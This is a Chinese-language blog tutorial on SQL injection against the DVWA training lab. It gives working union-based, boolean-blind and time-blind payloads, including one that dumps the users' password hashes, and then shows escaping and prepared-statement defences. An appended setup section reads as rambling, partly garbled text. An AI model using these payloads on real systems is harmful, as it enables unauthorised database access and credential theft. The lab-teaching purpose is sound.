SQL注入复现——DVWA靶场(有回显 vs 无回显)


SQL注入复现——DVWA靶场实战(有回显 vs 无回显)


一、环境准备

• 访问 http://127.0.0.1/DVWA,登录账号:admin/password
• 在DVWA Security中设置难度为 Low(无防护)。
靶场位置
• 导航至 SQL Injection 模块。
在这里插入图片描述


二、有回显的注入(Union-Based Injection)
1. 探测注入点
• 输入测试:在输入框输入 1,返回用户ID为1的数据。
• 尝试报错:输入 1',观察是否报错(如SQL语法错误)。
• 预期结果:
You have an error in your SQL syntax...
• 结论:存在字符型注入,未过滤单引号。
2. 确定字段数
• 使用 ORDER BY

1' ORDER BY 2 -- 

• 逐步增加数字(如ORDER BY 3),直到报错。
• 结果:ORDER BY 2正常,ORDER BY 3报错 → 原查询有2列。
3. 联合查询获取数据
• 构造Union Payload:

1' UNION SELECT 1,2 -- 

• 页面显示 12,说明第1、2列均可回显。
• 提取敏感信息:

 1' UNION SELECT user(), database() -- 

• 回显结果:

User: root@localhost  
Database: dvwa

4. 获取表名和字段名
• 查询所有表名:

1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() -- 

• 关键表:users
• 查询users表的字段:

1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' -- 

• 关键字段:user, password
5. 最终利用(拖库)
• 获取用户名和密码:

1' UNION SELECT user, password FROM users -- 

• 结果:显示所有用户的密码哈希(如admin的MD5哈希)。


三、无回显的注入(Boolean-Based Blind Injection)
1. 判断盲注可能性
• 输入正常值:1 → 返回 “User ID exists”。
• 输入无效值:999 → 返回 “User ID is MISSING”。
• 结论:无直接回显,但可通过布尔状态(存在/缺失)推断数据。
2. 布尔盲注攻击步骤
• 探测数据库名长度:

1' AND LENGTH(database())=4 -- 

• 若返回 “User ID exists”,说明数据库名长度为4(dvwa)。
• 逐字符猜解数据库名:

1' AND SUBSTRING(database(),1,1)='d' -- 

• 通过二分法或遍历字母表(a-z)确定字符。
4. 时间盲注(Time-Based)
• 判断条件:

1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) -- 

• 若响应延迟5秒,说明首字母为d


四、关键差异总结

对比项有回显的注入无回显的注入
利用条件页面直接显示数据库数据或错误信息仅能通过布尔状态或时间延迟推断数据
攻击效率高(直接获取数据)低(需逐字符猜解)
典型PayloadUNION SELECT 1,2,3AND SUBSTRING(...)='a'
工具推荐手动构造或SqlmapSqlmap(--technique=B--technique=T

五、防御措施复现

  1. 设置DVWA为High难度:
    • 在DVWA Security中选择 High,观察代码变化:
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    
    • 效果:单引号被转义,注入失效。
  2. 使用预编译语句:
    • 修改源码为参数化查询:
    $stmt = $conn->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
    
    • 效果:彻底杜绝注入。

通过DVWA靶场实战,你可以清晰理解有回显和无回显注入的利用手法及防御逻辑。建议逐步提升难度(Medium/High),并尝试结合Sqlmap自动化验证。


有回显的注入(显示注入)

在这里插入图片描述
在这里插入图片描述

我们可以看到它返回的结果是给我们了个报错信息,就说明这是存在一个有回显的注入(返回给我们了报错信息)


无回显的注入(盲注)

在这里插入图片描述

在这里插入图片描述

我们观察可以发现,它返回的结果并没有像刚刚那样,给我们显示一个报错信息。盲注就是它没有将数据库的报错信息回显给我们。


### 一、DVWA靶场的搭建过程 #### 靶场概述 DVWA(Damn Vulnerable Web Application)是一款用于学习和测试Web安全漏洞的应用程序,提供了多种级别的安全性设置以便于用户练习不同的攻击技术[^3]。 #### 环境准备 为了成功运行DVWA,需要先准备好LAMP/LEMP栈环境。如果主机已安装MySQL,则可以单独配置Apache并将其与MySQL关联起来[^2]。以下是具体的组件需求: - **操作系统**:Linux/MacOS/Windows均可支持。 - **Web服务器**:推荐使用Apache或Nginx。 - **数据库管理器**:MySQL或MariaDB。 - **编程语言**:PHP。 #### 安装步骤 1. 下载DVWA源码包至本地目录,并解压到`/var/www/html/`或其他指定路径下。 2. 修改权限以允许Web服务访问该文件夹及其子资源。 ```bash sudo chmod -R 755 /var/www/html/dvwa/ ``` 3. 创建一个新的MySQL数据库DVWA使用,并赋予相应用户的操作权限。 ```sql CREATE DATABASE dvwa; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa_user'@'localhost' IDENTIFIED BY 'password'; FLUSH PRIVILEGES; ``` 4. 编辑DVWA的核心配置文件——位于`config/config.inc.php`中的连接参数部分,确保其指向刚才创建好的数据库实例[^4]。 ```php $_DVWA['db_server'] = '127.0.0.1'; $_DVWA['db_database'] = 'dvwa'; $_DVWA['db_username'] = 'dvwa_user'; $_DVWA['db_password'] = 'password'; ``` 5. 启动所有必要的后台进程和服务单元,验证能否通过浏览器正常加载初始页面完成初始化向导流程即可正式投入使用。 --- ### 二、SQL注入相关的配置调整 #### 基础概念理解 SQL注入是一种常见的网络安全威胁形式之一,在应用程序未能正确过滤外部输入数据的情况下可能发生此现象。它使得恶意行为者能够执行任意命令或者窃取敏感资料等内容[^1]。 #### 实验场景设定 在低难度模式下,默认情况下不会启用任何防护机制;而随着挑战等级升高会逐步引入更多防御措施比如转义特殊字符等手段来对抗潜在风险因素的影响效果如何变化等问题值得深入探讨研究价值所在之处何方? 例如,在“SQL Injection (Basic)”模块里尝试构造如下GET请求字符串去检索隐藏字段值信息作为入门级案例分析对象进行讲解说明比较好一些吧?当然也可以借助Burp Suite之类的自动化辅助工具来进行更高效精准定位目标位置点位哦! ```http ? id=1 UNION SELECT null,concat_ws('-',version(),user(),database())-- ``` 上述例子展示了如何利用联合查询语句获取当前使用的 MySQL 版本号、登录账户名以及默认选中的 schema 名称三方面综合情况一览无余啊朋友们!不过请注意实际演练过程中务必遵循法律法规框架范围内行事准则哟😊 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值